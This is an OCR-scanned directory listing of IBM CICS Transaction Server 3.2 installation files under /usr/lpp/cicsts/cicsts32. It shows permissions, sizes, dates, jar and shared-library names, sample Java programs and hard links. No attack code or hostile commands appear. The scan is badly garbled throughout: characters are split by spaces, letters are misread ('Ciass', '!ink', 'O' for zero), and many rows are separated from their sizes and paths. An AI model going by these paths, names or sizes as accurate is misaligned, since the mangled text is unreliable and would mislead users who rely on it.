-rwxr-xr-x O O 507700 180224 Oct 16 2007 / usr/l pp/ci csts/ci csts3 2/l i b/ l i bdfh a pjv mt_g.so 

-rwxr-xr-x O O 507700 1 14688 Oct 16 2007 / usr/l pp/ci csts/ci csts32/l i b/ l i bdfhcdj n i . s o  

-rwxr-xr-x O O 507700 1 14688 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/l i b/ l i bdfhcdj n i_g.s o 

-rwxr-xr-x O O 507700 239714 Oct 16 2007 / usr/l pp/ci csts/ci csts32/l i b/nssrcm.jar  

-rwxr-xr-x O O 507700 255593 Oct 16 2007 / usr/l pp/ci csts/ci csts32/l i b/omgcos .ja r  

-rwxr-xr-x O O 507700 1 6 1 2 1 2  Oct 16 2007 / us r/l pp/ci csts/ci cst s3 2/l i b/ras.j a r  

d rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/cicsts32/l i b/security/ 

-rwxr-xr-x O O 507700 822 Oct 16 2007 /usr/ lpp/cicsts/c icsts32/l i b/security/dfh reg 
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-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 1 2 1 2  Oct 16 2007 / u s r/l pp/cicsts/cicsts3 2/l i b/secur ity/dfh reg . bat 

507700 10187 Oct 16 2007 /usr/l p p/ci csts/ci csts32/l i b/security/dfhreg.j a r  

507700 O Oct 16 2007 /usr/l p p/ci csts/cicsts3 2/l i b/se cu rity/ IBM/ 

Report 

h rwxr-xr-x O O 507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts3 2/l i b/secur ity/ IBM/DFJ @ H 146 I i n k  to /usr/l pp/ci csts/cicsts3 2/l i b/sec u rity/ dfh reg.j a r  

h rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts32/l i b/secu rity/ I B M/ D FJ @ H 147 I i n k  to /us r/l p p/ci csts/ci csts3 2/l i b/sec ur ity/dfhreg.bat 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/l i b/secur ity/ I B M / D FJ @ H 148 1 i n k  to /usr/l p p/ci csts/ci csts3 2 /l i b/sec u rity/dfh reg 

507700 1 1 3 605 Oct 16 2007 /usr/l pp/cicsts/cicsts3 2/l i b/websp here.j a r  

507700 O N ov 6 2008 /usr/l pp/ci csts/cicsts32/l i b/wsd l/ 

-rwxr-xr-x O O 507700 156396 Oct 16 2007 /usr/l pp/cicsts/cicsts32/l i b/wsd l/co m m o n .j a r  

-rwxr-xr-x O O 507700 7757 Oct 16 2007 /usr/l pp/cicsts/c icsts32/l i b/wsd l/co m m o n . reso u rces.j a r  

-rwxr-xr-x O O 507700 478003 N ov 6 2008 /usr/ lpp/ci csts/ci csts32/l i b/wsdl/dfjwsd l .j a r  

-rwxr-xr-x O O 507700 70701 Oct 16 2007 /usr/l p p/cicsts/c i csts32/l i b/ws d l /ecore .cha nge.j a r  

-rwxr-xr-x O O 507700 750098 Oct 16 2007 /usr/ lpp/ci csts/cicsts32/l i b/wsdl/ecore .j a r  

-rwxr-xr-x O O 507700 3 1048 1 Oct 16 2007 /usr/ lpp/ci csts/ci csts3 2/l i b/wsdl/wode n .j a r  

-rwxr-xr-x O O 507700 148429 Oct 16 2007 /usr/ lpp/ci csts/ci csts3 2/l i b/wsd l/wsd l4j .ja r  

-rwxr-xr-x O O 507700 703630 Oct 16 2007 /usr/l pp/cicsts/ci csts3 2/l i b/wsdl/xs d .j a r  

-rwxr-xr-x O O 507700 45126 Oct 16 2007 /usr/ lp p/ci csts/c icsts32/l i b/wsd l/xsd . resources.j a r  

-rwxr-xr-x O O 507700 1 142 Oct 16 2007 /usr/l pp/cicsts/cicsts3 2/l i b/wsdi/DFH LS2WS 

-rwxr-xr-x O O 507700 1142 Oct 16 2007 /usr/l pp/ci csts/cicsts32/l i b/wsd i/DFHWS2LS 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/l i b/wsdi/ IBM/ 

507700 O Nov 6 2008 /usr/l pp/ci csts/ci csts32/l i b/wsdi/I BM/DFJ @ H 176 I i n k  to /usr/l pp/ci csts/ci csts32/l i b /wsdl/dfjwsdl . jar  
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h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

h rwxr-xr-x O O 

-rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

Report 

507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts32/l i b/wsd i/ IBM/DFJ @ H  177 l i n  k to /usr/l p p/ci csts/cicsts32/l i b/wsdl/com m o n .j a r  

507700 

507700 

507700 

507700 

507700 

507700 

507700 

O Oct 16 2007 /usr/l pp/ci csts/ci csts32/l i b/wsd i/ IBM/DFJ @ H 178 l i n  k to /usr/l p p/cicsts/ci csts32/l i b /wsdl/co m m o n . resou rces.j a r  

O O e t  16 2007 /usr/ lpp/cicsts/ci csts32/l i b/wsd i/ IBM/DFJ @ H 179 l i n  k to /usr/l p p/cicsts/ci csts32/l i b/wsd l/ecore.cha nge.j a r  

O Oct 16 2007 /usr/l pp/cicsts/c i csts32/l i b/wsd i/ IBM/DFJ @ H 180 l i n k  t o  /usr/lp p/ci csts/c icsts3 2/l i b /wsd l/ecore.j a r  

O O c t  16 2 0 0 7  /usr/ lpp/ci csts/ci csts32/l i b/wsd i/ IBM/DFJ @ H 182 1 i n k  to /usr/l p p/ci csts/cicsts32/l i b /wsdl/wsd l4j .j a r  

O O c t  1 6  2007 /usr/l pp/ci csts/ci csts32/l i b/wsd i/ IBM/DFJ @ H 183 1 i n k  to /usr/ l p p/ci csts/ci csts32/l i b/wsd l/xs d .j a r  

O O c t  1 6  2 0 0 7  /usr/l pp/ci csts/ci csts32/l i b/wsd i/ IBM/DFJ @ H 184 1 i n k  to /usr/lp p/c i csts/c i csts3 2/l i b /wsd l/xsd . resources.j a r  

O Oct 1 6  2007 /usr/ lpp/ci csts/ci csts32/l i b/wsd i/ IBM/DFJ @ H 186 I i n k  t o  /usr/lp p/ci csts/cicsts32/ l i b/wsd i/DFHWS 2 LS 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts32/l i b/wsd i/I BM/DFJ @ H 187 I i n k  to /usr/ l p p/cicsts/ci csts32/l i b /wsdi/DFH LS2WS 

507700 128302 Oct 16 2007 /usr/ lpp/cicsts/cicsts32/l i b/wsd i/ IBM/DFJ @ H 2 29 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/c icsts32/l i b/wsdi/I BM/DFJ @ H 2 3 0  l ink to /usr/lp p/ci csts/ci csts32/l i b /wsd l/wod e n .j a r  

507700 5 7 9 0  O c t  16 2007 /usr/l pp/cicsts/ci csts32/l i b/wsd i/ I B M / D FJ @ H 2 3 1  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts3 2/l i b/wsd i/N a m espaceCo ntext .j a r  l in k to /usr/l pp/ci csts/cics ts32/l i b/wsdi/I BM/DFJ @ H 2 3 1  

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/l i b/wsdi/X m 1 Sc h e m a .j a r  l i n k  to /usr/ l p p/ci csts/ci csts32/l i b/wsd i/ IBM/DFJ @ H 2 2 9  

507700 O N ov 7 2008 /usr/l pp/cicsts/c icsts32/l i b/wsd l_old/ 

507700 156396 Oct 16 2007 /usr/l pp/ci csts/c i csts32/l i b/wsdl_old/com m o n .j a r  

507700 7 7 5 7  O c t  16 2007 /usr/l pp/cicsts/ci csts32/l i b/wsd l_old/c o m m o n . resou rces .j a r  

507700 401056 J u  n 4 2 0 0 8  / us r/l p p/ci csts/c icsts3 2/l i b/wsd l_old/dfjwsd l .j a r  

507700 70701 O c t  1 6  2007 /usr/l p p/ci csts/ci csts32/l i b/wsdl_o l d/ecore.cha nge.j a r  

507700 750098 O c t  1 6  2007 / usr/l pp/ci csts/cicsts32/l i b/wsd l_old/ecore.j a r  

507700 3 10481 O c t  16 2007 /usr/ lpp/cicsts/ci csts32/l i b/wsd l_old/wod e n .j a r  
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-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 148429 Oct 16 2007 / usr/l pp/ci csts/cicsts32/l i b/wsd l_old/wsdl4j .j a r  

507700 703630 Oct 16 2007 /usr/ lpp/ci csts/cicsts3 2/l i b/wsdl_old/xs d .j a r  

507700 45126 O c t  16 2007 /usr/ lpp/ci csts/c icsts32/l i b/wsd l_ol d/xsd . resou rces .ja r  

507700 1 142 Oct 16 2007 /usr/ lpp/ci csts/ci csts32/l i b/wsdl_old/ D F H LS2WS 

507700 1220 N ov 7 2008 /usr/ lpp/ci csts/ci csts32/l i b/wsdl_old/DFHWS 2 LS 

507700 1142 N ov 7 2008 /usr/ lpp/ci csts/ci csts32/l i b/wsdl_old/ D F HWS2LS_org 

507700 O Oct 16 2007 /usr/l pp/cicsts/cicsts32/ l ib/wsdl_o l d/ I B M/ 

507700 478003 N ov 6 2008 /usr/l pp/ci csts/ci csts32/l i b/wsd l_old/I B M/ D FJ @ H 176 

507700 156396 Oct 16 2007 / usr/l pp/ci csts/ci csts32/l i b/wsdl_old/I BM/DFJ @ H 177 

507700 7757 Oct 16 2007 /usr/l pp/ci csts/ci csts32/l i b/wsdl_old/ I B M/ D FJ @ H 178 

507700 70701 Oct 16 2007 /usr/ lpp/ci csts/ci csts32/l i b/wsd l_old/ I B M/ D FJ @ H 179 

507700 750098 Oct 1 6  2007 /usr/ lpp/ci csts/ci csts3 2/l i b/wsd l_old/I BM/DFJ @ H 180 

507700 148429 Oct 16 2007 /usr/ lpp/ci csts/c icsts32/l i b/wsdl_o l d/I BM/DFJ @ H 182 

507700 703630 Oct 1 6  2007 /usr/ lpp/ci csts/ci csts3 2/l i b/wsd l_old/I BM/DFJ @ H 183 

507700 45126 Oct 16 2007 /usr/ lpp/ci csts/c icsts32/l i b/wsdl_old/ I B M/ D FJ @ H 184 

507700 1142 Oct 16 2007 /usr/ lpp/ci csts/cicsts32/l i b/wsdl_old/ I B M / D FJ @ H 186 

507700 1 142 Oct 16 2007 /usr/ lpp/cicsts/ci csts32/l i b/wsdl_o l d/ I B M/ D FJ @ H 187 

507700 128302 Oct 16 2007 / usr/l pp/ci csts/cicsts32/l i b/wsdl_ol d/I BM/DFJ @ H 229 

507700 3 10481 Oct  16 2007 / us r/l pp/ci csts/ci csts32/l i b/wsdl_old/I BM/DFJ @ H 230 

507700 5790 Oct 16 2007 /usr/ lpp/cicsts/cicsts32/l i b/wsd l_o l d/ I B M/ D FJ @ H 2 3 1  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/c icsts3 2/l i b/wsdl_o l d/ I B M_O L D/ 
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O J u  n 4 2008 /usr/ l pp/ci csts/cicsts3 2/l i b/ws dl_old/ I B M_O L D/DFJ @ H 176 l i n k  to / us r/l pp/cicsts/cicsts32/l i b/wsd l_ol d/dfjws d l .j a r  

O Oct 16 2007 /usr/l pp/ci csts/cicsts32/l i b/wsdl_o l d/ I B M_O L D/DFJ @ H 177 ! i n k  to / usr/ lpp/ci csts/cics ts32/l i b/wsdl_o l d/c o m m o n .j a r  

O O c t  1 6  2007 /usr/l pp/ci csts/cicsts32/l i b/w sdl_o l d/ I B M_O L D/DFJ @ H 178 ! i n k  to / usr/lpp/ci csts/cics ts32/l i b/wsdl_ol d/co m m o n . r es o u rces.j a r  

O O c t  16 2007 /usr/lpp/c icsts/ci csts32/l i b/wsdl_o l d/ I B M _O L D/DFJ @ H 179 I i n k  to /usr/ lpp/cicsts/ci csts32/l i b/wsdl_ol d/ecore .cha nge.j a r  

O O c t  16 2007 /usr/l pp/ci csts/ci csts3 2/l i b/wsdl_o l d/ I B M_O L D/DFJ @ H 180 l i n  k to / usr/l pp/ci csts/c ics ts3 2/l i b/wsd l_ol d/ecore.j a r  

O Oct 1 6  2007 /usr/l pp/ci csts/c i csts32/l i b/wsdl_o l d/I B M _O L D/ D FJ @ H 182 ! i n k  t o  / usr/lpp/ci csts/cics ts32/ l i b/wsdl_ol d/wsdl4j . jar  

O Oct  16 2007 /usr/l pp/cicsts/ci csts32/l i b/w sd l_ol d/I B M _O L D/DFJ @ H 183 l i n k  to /usr/ lpp/ci csts/cicsts32/l i b/wsdl_ol d/xsd .ja r  

O Oct 1 6  2007 /usr/l pp/cicsts/ci csts3 2/l i b/wsdl_o l d/ I B M_O L D/DFJ @ H 184 1 i n k  to /usr/ lpp/ci csts/c ics ts32/l i b/wsd l_ol d/xsd . resources.j a r  

O N o v  7 2008 /usr/ lpp/cicsts/ci csts32/l i b/wsdl_old/ I B M_O L D/DFJ @ H 186 1 i n k  to / u sr/l pp/ci csts/c ics ts3 2/l i b/wsdl_o l d/ D F H WS2LS 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/l i b/wsdl_o l d/I B M _O L D/DFJ @ H  187 1 i n k  to /usr/l pp/ci csts/ci csts32/l i b/wsd l_o l d/DFH LS2WS 

507700 128302 Oct 16 2007 / usr/lpp/cicsts/c icsts32/l i b/wsdl_ol d/I B M_OLD/ D FJ @ H 2 2 9  

507700 O Oct 1 6  2007 /usr/lpp/cicsts/ci csts32/l i b/wsdl_o l d/ I B M_O LD/D FJ @ H 230 l i n k  to / us r/l pp/ci csts/ci csts3 2/l i b/wsd l_ol d/wode n .j a r  

507700 5790 Oct 16 2007 /usr/l pp/ci csts/cicsts32/l i b/wsd l_old/ I B M_O LD/ D FJ @ H 2 3 1  

507700 O O ct 1 6  2007 /usr/ lpp/ci csts/c icsts3 2/l i b/wsdl_o l d/Na mes paceContext .j a r  ! i n k  to /usr/ lpp/cicsts/ci csts32/l i b/wsd l_ol d/ IB M_OLD/ D FJ @ H 2 3 1  

507700 O Oct 16 2007 /usr/l pp/ci csts/cicsts32/l i b/wsdl_o l d/Xml5che m a .j a r  ! i n k  to /usr/ lpp/ci csts/c icsts32/ l i b/wsd l_old/ I B M_O LD/DFJ @ H 2 29 

507700 573599 Oct 16 2007 /usr/l pp/ci csts/cicsts3 2/l i b/CTKi nsta l l e d R 1_2 .ja r  

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/l i b/I B M/ 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/l ib/ IB M/DFH APJV1 1 i n k  to /usr/l p p/cicsts/cicsts32/l i b/ l i bdfh a pjvmt.so 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts3 2/l i b/I B M/DFH APJV2 1 i n k  to /usr/ lpp/ci csts/c icsts3 2/l i b/l i bd fh a pj v mt_g.so 

507700 O Oct 16 2007 /usr/ lpp/ci csts/c icsts32/l i b/I B M/ D F H C DJ N ! I i n k  to /usr/l p p/ci csts/ci csts32/l i b/ l ibd fhcdj n i . s o  

507700 O Oct 16 2007 /usr/l pp/ci csts/cicsts32/l i b/I B M/DFHCDJ N 2  l i n k  to /usr/l pp/cicsts/ci csts3 2/l i b/ l i bdfhcdj n i _g .so 
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O Oct 16 2007 /usr/ lpp/ci csts/c icsts32/l ib/ IB M/DFJ @ H OOO l i n  k to /usr/l pp/cicsts/ci csts32/l i b/dfjc ics .j a r  

O O c t  16 2007 /usr/ lpp/cicsts/cicsts32/l i b/ I B M/DFJ @ H 004 1 i n k  to /usr/l pp/ci csts/cicsts3 2/l i b/dfjwrap.j a r  

O O c t  16 2007 /usr/ lpp/ci csts/cicsts32/l i b/ I B M/DFJ @ H 042 1 i n k  to / usr/ lpp/ci csts/cicsts32/l i b/dfjo rb. jar  

O O et 16 2007 /usr/l pp/ci csts/c i csts32/l i b/I B M/DFJ @ H 043 1 i n k  to /usr/l pp/ci csts/cicsts3 2/l i b/dfjcd m n .ja r  

O Oct 1 6  2007 /usr/l pp/ci csts/c icsts3 2/l i b/I B M/DFJ @ H057 1 i n k  to /usr/l pp/ci csts/cicsts32/l i b/dfjc s i .j a r  

O O c t  1 6  2007 /usr/l pp/cicsts/ci csts3 2/ l i b/ I B M/DFJ @ H058 1 i n k  to /usr/ lpp/ci csts/c icsts32/l i b/dfjco nt . j  a r  

O Oct 16 2007 /usr/l pp/ci csts/ci csts32/l i b/I B M/DFJ @ H 060 l i n k  to / usr/l pp/ci csts/ci csts32/ l i b/dfjjts.j a r  

O O c t  16 2007 /usr/l pp/ci csts/ci csts32/l i b/ I B M/DFJ @ H063 1 i n k  to /usr/ lpp/ci csts/ci csts3 2/l i b/dfjc icsras.j a r  

O O c t  1 6  2007 /usr/l pp/cicsts/ci csts32/ l i b/I B M/DFJ @ H068 l i n  k to /usr/ lpp/ci csts/c i csts3 2/l i b/CTKinsta l ledR 1_2. jar  

O O et  16 2007 /usr/l pp/ci csts/ci csts32/l ib/ IB M/DFJ @ H 078 l in  k to /usr/l pp/ci csts/ci csts32/l i b/omgc os. ja  r 

O Oct 16 2007 /usr/1 pp/ci csts/cicsts32/ l i b/I B M/DFJ @ H 1 20 l i n  k to /usr/l pp/cicsts/c icsts32/l i b/dfj n a m e .j a r  

O Oct 16 2007 /usr/l pp/ci csts/ci csts32/l i b/ I B M/DFJ @ H l34 1 i n k  to /usr/l pp/ci csts/cicsts32/ l i b/ras. j a r  

O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/l i b/ I B M/DFJ @ H 149 l i n  k to /usr/ lpp/ci csts/cicsts3 2/l i b/dfjadjr .j a r  

O Oct 16 2007 /usr/l pp/ci csts/cicsts32/ l i b/ I B M/DFJ @ H 150 l i n k  to /usr/l pp/ci csts/ci csts32/l i b/dfj c c i .j a r  

O O c t  1 6  2007 /usr/l pp/ci csts/cicsts32/l i b/I B M/ D FJ @ H 152 1 i n k  to /usr/l pp/ci csts/cicsts3 2/l i b/nss r c m .j a r  

O Oct 16 2007 /usr/l pp/ci csts/ci csts32/l ib/ IB M/DFJ @ H 153 I i n k  to /usr/ lpp/ci csts/c i cs ts32/l i b/webs phere.j a r  

O O c t  16 2007 /usr/l pp/ci csts/cicsts32/ l i b/ I B M/DFJ @ H 15 5 1 i n k  to /usr/l pp/ci csts/ci csts32/l i b/dfj e j bdd. jar  

O Oct 16 2007 /usr/l pp/ci csts/ci csts32/ l i b/ I B M/DFJ @ H 1 68 I i n k  to /usr/l pp/ci csts/ci csts3 2/l i b/dfj o utput. jar  

O Oct 16 2007 /usr/l pp/cicsts/ci csts32/l i b/I B M/DFJDTC01 1 i n k  to /usr/ lpp/ci csts/ci csts3 2/l i b/l i b c om_i b m_ci cs_server _DTC.so 

O Oct 16 2007 /usr/l pp/ci csts/cicsts32/l ib/ IB M/DFJ DTC02 l in k to /usr/l pp/cicsts/ci csts32/l i b/l i bcom_i b m_ci cs_server _DTC_g .so 

507700 O Oct 1 1  2007 /usr/lpp/ci csts/c i csts3 2/sa m p l es/ 
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507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/cci/ 

507700 6413 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/cci/CICSCo n n ect i o n F a ctory P u b l i s h .java 

507700 4893 Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/cci/CICSCo n n ect ion FactoryRetract.java 

507700 1 1036 Oct 16 2007 /usr/l p p/ci csts/ci csts32/s a m p l es/cci/CICSCCISa m ple .java 

507700 8828 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/cci/CICSCC I Sa m p l es .j a r  

507700 O Oct 16 2007 /us r/l pp/ci csts/ci csts32/s a m p l es/cci/ IBM/ 

Report 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/cci/I BM/DFJ @ H 135 l ink to /usr/ l p p/ci csts/ci csts3 2/ s a m p l es/cci/CICSCC I S a m p l es .j a r  

507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts32/sa m p l es/cci/ I B M/ D FJ @ H 169 1 i n k  to /usr/l p p/ci csts/ci csts32/s a m p l  es/cci/CICSCC I S a m p l e.java 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/cci/I BM/DFJ @ H 170 l ink to /usr/ l p p/cicsts/cicsts32/sa m p l es/cci/CICSC o n n ectio n F a ctory P u b l i s h .java 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/cci/I BM/DFJ @ H 17 1 1 i n k  to /usr/ l p p/ci csts/cicsts32/ sa m p l es/cci/C ICSCo n n ect ionFactoryRetract.java 

507700 7354 Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/cci/ I B M/ D FJ @ H 172 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/cci/J avaStr i ng Record.java l in k to /usr/l pp/ci csts/ c i csts32/sa m p l es/cci/ I B M/DFJ @ H 172 

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts32/s a m p l es/dfjc ics/ 

507700 O Oct 1 1  2007 /usr/l pp/ci csts/c icsts32/s a m p l es/dfjc i cs/exa m pl es/ 

507700 O F e b  29 2008 /usr/l p p/ci csts/ci csts32/s a m p l es/dfjc i cs/exa m pl es/H e l l oWorld/ 

-rw-r--r-- O 34644 507700 720 Feb 29 2008 /usr/ lpp/cicsts/ci csts3 2/sa m p l es/dfjc i cs/exa m pl es/H e l l oWorld/ H e l l oC I CSWorld .c lass 

-rwxr-xr-x O O 507700 677 Oct 16 2007 /usr/ lpp/cicsts/cicsts32/s a m p l es/dfjc ics/exa mples/H e l l oWorld/H e l loCICSWor ld .java 

-rw-r--r-- O 34644 507700 763 Fe b 29 2008 / usr/l pp/ci csts/c icsts3 2/sa m p l es/dfjc i cs/exa m pl es/H e l l oWorld/ H e l l oWorl d .c lass 

-rwxr-xr-x O O 507700 866 Oct 16 2007 /usr/ lpp/ci csts/cicsts3 2/sa m p l es/dfjc i cs/exa m p l es/H e l l oWorld/H e l l oWorld .java 

d rwxr-xr-x O O 507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts3 2/sa m p l es/dfjc i cs/exa m ples/H e l l oWorld/I B M/ 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjc i cs/exa m ples/ H e l l oWorld/I B M/ D FJ @ H 0 1 7 1 i n k  to 

/usr/ lpp/ci csts/c icsts32/s a m p l e s/dfjc i cs/exa m p l es/H e l l oWorld/H e l l o C I CSWor ld .java 
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h rwxr-xr-x O O 507700 O O et 16 2007 /u s r  / lpp/cicsts/ci csts3 2/sa m p l es/dfjc i cs/exa m p l e  s/H e l l oWorld/I B M/ D F  J@ H018 l i n  k to /u sr  / lpp/cicsts/cicsts32/sampl es/dfjc i cs/exa m p l es/H e l l oWorld/H e l l oWorl d .java 

d rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjc i cs/exa m ples/Progra mCo ntrol/ 

-rwxr-xr-x O O 507700 2388 Oct 1 6  2007 /usr/l pp/ci csts/c icsts32/s a m p l es/dfjc i cs/exa mples/Progra mControi/CiassFou r.java 

-rwxr-xr-x O O 507700 4457 Oct 16 2007 /usr/ lpp/cicsts/cicsts3 2/sa m pl es/dfjc i cs/exa mples/ Progra mControi/Ciass0ne.java 

-rwxr-xr-x O O 507700 4690 O et 1 6  2007 /u s r  / lpp/cicsts/cicsts3 2/sa m pl es/dfjc ics/ exa mples/Progra mControi/C iassThree.java 

-rwxr-xr-x O O 507700 3415 O et 16 2007 /u sr  /l p p/ c i csts/ c i csts32/sa m p l es/ dfjc i cs/ exa m pl es/ Progra mControi/C iassTwo.java 

d rwxr-xr-x O O 507700 O Oct 1 6  2007 /usr/ lpp/ci csts/c icsts3 2/sa m p l es/dfjc i cs/exa m ples/ProgramCo ntroi/I B M/ 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjci cs/exa m pl es/P rog ramCo ntroi/I B M/ D FJ @ H019 1 i n k  to 

/usr/ lpp/ci csts/ci csts32/s a m p l e s/dfjc i cs/exa m pl es/ProgramControi/C iassOne.j ava 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjc i cs/exa m pl es/Progra mControi/ I B M/ D FJ @ H 020 l i n k  to 

/usr/ lpp/ci csts/ci csts32/samples/dfjc i cs/exa m ples/ProgramControi/CiassTwo.java 

h rwxr-xr-x O O 507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjc i cs/exa m p l es/P rog ramCo ntroi/I B M/ D FJ @ H 209 I i n k  to 

/usr/ lpp/ci csts/ci csts3 2/sa mples/dfjc i cs/exa m p l es/ProgramC ontroi/C iassThree.java 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/sa m p l es/dfjci cs/exa m pl es/Prog ramCo ntroi/ I B M/ D FJ @ H 2 10 l ink to 

/usr/ lpp/ci csts/cicsts32/s a m p l es/dfjci cs/exa m ples/P rog ra mC ontroi/CiassFou r.java 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/dfjc i cs/exa m ples/T DO/ 

507700 6657 Oct 16 2007 /usr/l pp/ci csts/cicsts32/sa m p l es/dfjc ics/exa m p l es/TDO/Ciass0 n e .java 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjc i cs/exa m pl es/TDO/I B M/ 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjc i cs/exa m ples/T DO/I B M/ D FJ @ H 0 2 1 1 i n k  to /usr/l pp/ci csts/cicsts3 2/s a m p l es/dfjc ics/exa m p l es/TDO/Ciass0 n e .java 

507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/dfjc i cs/exa m p l es/TSO/ 

507700 1548 Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjc i cs/exa mpl es/TSO/Ciass0n e .java 

507700 12540 Oct 1 6  2007 /usr/l p p/ci csts/c i csts32/s a m p l es/dfjc i cs/exa m p les/TSO/Co m m o n .java 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjc i cs/exa m p l es/TSO/I B M/ 
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507700 O O et 16 2007 /usr/ lpp/cicsts/ci csts3 2/sa m p l es/dfjci cs/exa m ples/TSQ/I B M/DFJ @ H022 l i n  k to /u sr  / lpp/ci csts/cicsts32/s a m p l es/ dfjc ics/exa m p l es/TSQ/CiassOne.java 

507700 O Oct 1 6  2007 /usr/ lpp/ci csts/cicsts32/sa m p l es/dfjc i cs/exa m ples/T5Q/ I B M/DFJ @ H023 l in k to /usr/ lpp /ci csts/c icsts32/s a m p l es/dfjc ics/exa m ples/T5Q/Co m m o n .java 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/cicsts32/s a m p les/dfjc ics/exa m ples/Web/ 

507700 O Oct 16 2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/dfjci cs/exa m pl es/W e b/ I B M/ 

507700 17995 Oct 16 2007 /usr/lp p/cicsts/ci csts3 2/samples/dfjc i cs/exa m pl es/Web/ I B M/DFJ @ H 165 

507700 O Oct 1 6  2007 /usr/ lpp/ci csts/c icsts32/s a m p l es/dfjc i cs/exa m p les/We b/5a m pl e l .j ava l ink to /usr/ lpp/cicsts/cicsts32/sa mpl es/dfjc i cs/exa m pl es/We b/ I B M/DFJ @ H 165 

507700 2142 Feb 29 2008 /usr/ lpp/ci csts/ci csts32/s a m p l es/dfjc ics/ H e l l oWorl d . m a k  

507700 O Oct 16 2007 /usr/lpp/cicsts/cicsts32/s a m p l e s/dfjc ics/ I B M/ 

507700 O F e b  29 2008 /usr/ l p p/cicsts/ci csts32/s a m p l es/dfjc ics/I B M/DFJ @ H 0 1 3 1 i n k  to /usr/l pp/ci csts/cicst s3 2/sa m pl es/dfj c i cs/H e l loWorl d . m a k  

507700 2 1 8 1  O c t  1 6  2007 /usr/l pp/ci csts/c icsts3 2/sa m ples/dfjc ics/I BM/DFJ @ H 0 14 

507700 2056 Oct 16 2007 /usr/ lpp/ci csts/cicsts3 2/sa m p l es/dfjc ics/ I B M/ D FJ @ H 0 1 5  

507700 2 0 9 9  O c t  16 2 0 0 7  /usr/l pp/ci csts/ci csts3 2/sa m p l es/dfjc ics/I BM/DFJ @ H 016 

507700 2069 Oct  16 2007 /usr/ lpp/ci csts/ci csts32/s a m p l es/dfjc ics/ I B M/ D FJ @ H024 

507700 1980 Oct 1 6  2007 /usr/l pp/ci csts/ci csts32/s a m p l es/dfjc ics/ I BM/DFJ @ H 175 
